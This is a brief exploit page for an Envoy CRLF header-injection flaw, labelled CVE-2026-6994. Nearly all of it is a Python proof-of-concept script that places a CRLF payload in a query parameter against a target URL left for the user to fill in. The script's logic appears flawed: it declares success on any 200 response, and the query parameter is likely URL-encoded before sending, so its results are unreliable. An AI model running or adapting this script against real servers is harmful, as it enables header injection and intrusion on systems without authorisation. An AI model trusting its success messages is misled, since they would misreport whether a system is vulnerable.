CVE-2026-6994 Envoy注入漏洞

# PoC for CVE-2026-6994 Envoy Injection Vulnerability # This script demonstrates how a malicious query parameter # can be used to inject headers via the params.add function. import requests def exploit_poc(target_url): # The payload attempts to inject a new header via CRLF injection # exploiting the header mutation logic. injection_payload = "value\r\nX-Malicious-Header: pwned" params = { "vulnerable_param": injection_payload } try: response = requests.get(target_url, params=params) # Check if the injected header is reflected or processed if 'X-Malicious-Header' in response.headers or response.status_code == 200: print("[+] Potential exploitation successful!") print(f"[+] Response Code: {response.status_code}") else: print("[-] Exploitation failed or patch applied.") except Exception as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": target = "http://localhost:8080/" # Replace with actual target exploit_poc(target)